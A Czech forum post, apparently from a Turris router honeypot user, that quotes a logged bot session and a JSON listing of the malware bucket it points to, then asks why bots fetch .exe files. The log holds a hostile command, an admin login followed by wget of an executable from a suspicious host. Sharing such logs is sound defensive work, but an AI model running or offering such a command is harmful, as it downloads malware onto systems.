Při občasném procházení logů z Turríska občas natrefím na zajímavé poznatky.

Aktuálně jsem v kontaktu s provozovatelem, který streamuje multimediální obsah a někudy se k nám z jeho IP adresy hrnou UDP pakety (NetBIOS name discovery).

Ale k tématu, dokážete někdo vysvětlit toto?

10. 1. 2016 23:59  Čína 222.186.31.46  1 
Jméno uživatele:admin Heslo:
$ wget http://wwjj.keyipin.com/1e.exe  Přijato  11. 1. 2016 00:00:00
Trvání: [sezení nebylo řádně ukončeno]

Proč stahovat zrovna soubor s příponou exe? V čem je lepší stahovat soubor s touto příponou, než například ten s neutrální příponou txt (jak to ostatně dělají jiní kolegové boti)?

pokud si stáhnu obsah, tak dostanu následující:

{"name":"yunpan","prefix":"","marker":"","maxKeys":1000,"isTruncated":false,"contents":[{"key":"12e.zip","lastModified":"2015-12-29T23:41:31Z","eTag":"146100b61b73b3c7a092d82d84f05f7d","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"13e.zip","lastModified":"2015-12-29T23:41:33Z","eTag":"6c4733007876d489c9fb40fbfe96dd29","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"14e.zip","lastModified":"2015-12-29T23:41:34Z","eTag":"cd8171aad810989c397d4ed1b8531a8c","size":210788,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"1e.exe","lastModified":"2016-01-10T11:55:37Z","eTag":"4e54b952c1fb96e0f18451f49411b9aa","size":210788,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"2e.exe","lastModified":"2016-01-10T11:55:34Z","eTag":"fe83219f1d1faf0808f8e300d606263d","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"3e.exe","lastModified":"2016-01-10T11:55:31Z","eTag":"457bcfa18a37aa4181a38043083fe03c","size":983084,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"4e.exe","lastModified":"2016-01-10T12:39:31Z","eTag":"9cbdcb02a9f0284cfcfa2fec462d690e","size":398372,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cd.rar","lastModified":"2015-11-30T12:47:35Z","eTag":"f1f6dfc235add5d6aa2c961877c92465","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cf.rar","lastModified":"2015-11-30T12:47:36Z","eTag":"2b274518b8b83131a9d794170a896edc","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cg.rar","lastModified":"2015-11-30T12:47:38Z","eTag":"de93c39356b3608289e1c91f26a61dd6","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"chat.html","lastModified":"2015-11-12T06:57:17Z","eTag":"624c8b5ec72c0631e60496dca4f4ac64","size":1366,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"conf.ini","lastModified":"2015-11-09T04:20:05Z","eTag":"e7b383ca40fd2836ccfe835bd246da11","size":27,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cs.rar","lastModified":"2015-11-30T12:47:40Z","eTag":"5436b8e473388207e326536870cf4ab7","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cs1.rar","lastModified":"2015-11-09T05:19:49Z","eTag":"e4e60add58f6d1a8c98da58d4ca604df","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"cs2.rar","lastModified":"2015-11-09T05:19:50Z","eTag":"036d58f4dedcaf85ec626c9dafe2b614","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"mj.rar","lastModified":"2015-11-09T05:19:51Z","eTag":"a460be724314a90517d86ca4f631c815","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"syn.exe","lastModified":"2016-01-10T12:39:32Z","eTag":"d0fa153518d455154b6b6e0410553ce4","size":409176,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"syn.zip","lastModified":"2015-12-29T23:41:35Z","eTag":"a992e86ab538b2fd617936429475c95f","size":409176,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}},{"key":"xj.rar","lastModified":"2015-11-09T05:19:52Z","eTag":"8b26146583b451050fe11f4f965efcda","size":983092,"owner":{"id":"73ee4defb7194defbd2cf46d8f7b9c45","displayName":"PASSPORT:185410701"}}]}

Pokud máte také nějaké zajímavosti, budu rád, když se podělíte. Podařilo se Vám někomu už najít lidského útočníka (který příkazy nezadává nelogicky či v kadencí botů)?